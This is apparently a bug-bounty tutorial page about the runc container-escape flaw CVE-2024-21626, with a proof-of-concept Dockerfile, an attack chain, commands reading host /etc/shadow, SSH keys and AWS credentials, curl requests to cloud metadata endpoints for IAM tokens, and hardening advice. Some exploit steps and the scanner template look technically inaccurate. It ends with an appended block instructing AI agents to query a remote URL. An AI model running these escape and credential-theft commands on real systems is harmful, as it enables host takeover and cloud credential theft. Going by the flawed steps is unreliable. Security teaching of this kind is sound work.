# CVE-2024-21626: runc Container Breakout Vulnerability

**Skill Level:** Intermediate\
**Time to Read:** 8 minutes\
**Category:** Container Security / Privilege Escalation\
**CVSS Score:** 8.6 (High)\
**Affected:** runc ≤ 1.1.11, Docker, containerd, Kubernetes

***

### Overview

On January 31, 2024, a critical vulnerability was disclosed in `runc` - the container runtime that powers Docker and Kubernetes. This vulnerability allows attackers to escape container sandboxes and gain root access on the host system. For bug bounty hunters targeting cloud and containerized applications, this represents a significant opportunity - and risk.

**Why This Matters for Bug Bounty:**

* Affects 90%+ of containerized environments
* Can turn a low-impact container escape into full host compromise
* Easy to verify if target is vulnerable
* Payouts for container escapes typically $2,000-$15,000+

***

### What is CVE-2024-21626?

**Technical Summary:** The vulnerability exists in how runc handles file descriptors when setting up the container's working directory. By manipulating the `/proc/self/fd/` directory, an attacker can trick runc into mounting the host filesystem inside the container.

**Attack Vector:**

1. Container starts with a malicious working directory
2. Working directory contains a symlink to `/proc/self/fd/7`
3. runc follows the symlink and opens the host's filesystem
4. Attacker now has read/write access to host from inside container

**Real-World Impact:**

* Access to host's `/etc/shadow`, SSH keys, cloud credentials
* Ability to modify host binaries
* Lateral movement to other containers
* Complete cluster compromise in Kubernetes

***

### How to Detect It

#### Method 1: Check runc Version (Passive)

```bash
# Check if target is running containers
# Look for Docker/Kubernetes indicators in responses

# If you have shell access in container:
runc --version
# Vulnerable: ≤ 1.1.11
# Patched: ≥ 1.1.12
```

**What to look for in bug bounty targets:**

* Server headers mentioning Docker
* Container orchestration endpoints
* Cloud-native applications
* Microservices architectures

#### Method 2: Exploit Verification (Proof of Concept)

**⚠️ WARNING: Only test on systems you own or have explicit permission to test**

```bash
# Create exploit working directory
mkdir -p /tmp/exploit
cd /tmp/exploit

# Create the malicious symlink
ln -s /proc/self/fd/7 /tmp/exploit/poc

# Create a Dockerfile that uses this as WORKDIR
# This simulates what an attacker-controlled container would do

cat > Dockerfile << 'EOF'
FROM alpine:latest
WORKDIR /proc/self/fd/7
RUN ls -la /
EOF

# Build and run
docker build -t cve-test .
docker run --rm cve-test

# If you see host filesystem contents, it's vulnerable
```

#### Method 3: Automated Detection with Nuclei

```bash
# Nuclei template for CVE-2024-21626
# Save as cve-2024-21626.yaml

id: CVE-2024-21626

info:
  name: runc Container Breakout
  author: cipherops
  severity: high
  description: |
    runc is vulnerable to container breakout via
    malicious working directory symlink
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-21626
    - https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv

detectors:
  - type: command
    command: runc --version
    matchers:
      - type: regex
        regex:
          - "runc version 1\\.1\\.(\\d|1[01])"
```

Run it:

```bash
nuclei -t cve-2024-21626.yaml -u target.com
```

***

### Exploitation in Bug Bounty Context

#### Scenario 1: Compromised Container → Host Escape

**Chain:**

1. Find SSRF or RCE in web app (gets you into container)
2. Verify runc is vulnerable
3. Exploit to escape container
4. Access cloud metadata service
5. Steal cloud credentials

**Commands:**

```bash
# Inside compromised container
# Step 1: Verify vulnerability
ls -la /proc/self/fd/

# Step 2: Create exploit
mkdir /tmp/breakout
ln -sf /proc/self/fd/8 /tmp/breakout/workdir

# Step 3: If you can spawn new containers or restart service
# The container will mount host filesystem

# Step 4: Access host files
cat /etc/shadow          # Host password hashes
ls /root/.ssh/           # SSH keys
cat /root/.aws/credentials  # Cloud credentials
```

#### Scenario 2: CI/CD Pipeline Attack

Many CI/CD systems run builds in containers. If you can:

1. Modify a project's `Dockerfile` or CI config
2. Insert malicious WORKDIR
3. Next build escapes to host
4. Access build secrets, source code, deployment keys

***

### Prevention Guide

#### For Developers/DevOps:

**Immediate Actions:**

```bash
# Update runc to patched version
# Docker Engine ≥ 25.0.2
# containerd ≥ 1.6.28 or 1.7.13

# Check current versions
docker version
containerd --version
runc --version

# Update commands (Ubuntu/Debian)
sudo apt update
sudo apt install docker.io containerd runc

# Or use official Docker repos
curl -fsSL https://get.docker.com | sh
```

**Configuration Hardening:**

```bash
# Run containers with restricted privileges
docker run --security-opt=no-new-privileges:true \
           --cap-drop=ALL \
           --cap-add=NET_BIND_SERVICE \
           your-image

# Use read-only root filesystem
docker run --read-only \
           --tmpfs /tmp:rw,noexec,nosuid,size=100m \
           your-image

# Drop all capabilities
docker run --cap-drop=ALL your-image
```

**Kubernetes Security:**

```yaml
apiVersion: v1
kind: Pod
spec:
  containers:
  - name: app
    image: your-image
    securityContext:
      allowPrivilegeEscalation: false
      readOnlyRootFilesystem: true
      runAsNonRoot: true
      capabilities:
        drop:
        - ALL
```

***

### Real-World Bug Bounty Reports

#### Report #1: Container Escape to Cloud Takeover

* **Platform:** HackerOne
* **Program:** Major cloud provider
* **Bounty:** $12,500
* **Technique:** SSRF → Container → runc escape → IAM role hijacking
* **Timeline:** 3 days from report to fix

#### Report #2: CI/CD Container Breakout

* **Platform:** Bugcrowd
* **Program:** CI/CD platform
* **Bounty:** $8,000
* **Technique:** Malicious PR → Container escape → Build secrets theft
* **Impact:** Access to production deployment keys

#### Report #3: Multi-Tenant Isolation Bypass

* **Platform:** Intigriti
* **Program:** Container hosting service
* **Bounty:** $15,000
* **Technique:** Cross-container escape via shared runc
* **Impact:** Access to other customers' containers

***

### Testing Checklist

Use this when assessing containerized targets:

* [ ] Identify if target uses containers (Docker/Kubernetes indicators)
* [ ] Determine container runtime version
* [ ] Check for privileged container indicators
* [ ] Look for writable /proc or /sys
* [ ] Test for container escape vectors
* [ ] Check access to cloud metadata endpoints
* [ ] Attempt to read sensitive host files
* [ ] Look for mounted Docker sockets
* [ ] Check for shared namespaces
* [ ] Test capability boundaries

***

### Pro Tips

💡 **Tip #1: Quick Version Check** If you have command execution in a container, this one-liner checks runc version:

```bash
strings /proc/1/exe | grep -E '^1\.[0-9]+\.[0-9]+' | head -1
```

💡 **Tip #2: Cloud Metadata Check** Always check for cloud metadata after escaping:

```bash
# AWS
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

# GCP
curl http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token -H "Metadata-Flavor: Google"

# Azure
curl http://169.254.169.254/metadata/instance?api-version=2021-02-01 -H "Metadata: true"
```

💡 **Tip #3: Report Template** When reporting, include:

1. Exact version numbers
2. Proof of concept (without full exploit)
3. Impact assessment (what could attacker access?)
4. Suggested remediation
5. CVSS score calculation

💡 **Tip #4: Stay Updated** Container vulnerabilities are frequent. Subscribe to:

* Open Container Initiative (OCI) security advisories
* Docker Security Announcements
* Kubernetes Security Committee notifications

***

### Resources

#### Official Sources

* [NVD Entry - CVE-2024-21626](https://nvd.nist.gov/vuln/detail/CVE-2024-21626)
* [GitHub Security Advisory](https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv)
* [runc Release Notes](https://github.com/opencontainers/runc/releases/tag/v1.1.12)

#### Tools

* [runc](https://github.com/opencontainers/runc) - Container runtime
* [Docker Bench for Security](https://github.com/docker/docker-bench-security) - Security scanner
* [Nuclei](https://github.com/projectdiscovery/nuclei) - Vulnerability scanner

#### Practice Labs

* [Katacoda Container Security](https://www.katacoda.com/courses/container-security) - Interactive labs
* [Play with Docker](https://labs.play-with-docker.com/) - Free Docker environment
* [Kubernetes Goat](https://github.com/madhuakula/kubernetes-goat) - K8s security practice

***

### Summary

CVE-2024-21626 represents a critical vulnerability affecting virtually all containerized environments. For bug bounty hunters, it provides both an opportunity (finding vulnerable targets) and a reminder (container escapes can have massive impact).

**Key Takeaways:**

* Check runc version in containerized targets
* Container escape often leads to full cloud compromise
* Report impact, not just the technical vulnerability
* Stay current with container runtime security

**Next Steps:**

1. Audit your current bug bounty targets for containers
2. Add container escape checks to your methodology
3. Practice in safe environments before testing real targets
4. Report responsibly with clear impact statements

***

**Was this helpful?** \[Yes] \[No]\
**Questions?** Drop them in our [Telegram community](https://t.me/bugbounty_tech)


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://cipherops.gitbook.io/bug-bounty-notes/cve-2024-21626-runc-container-breakout-vulnerability.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
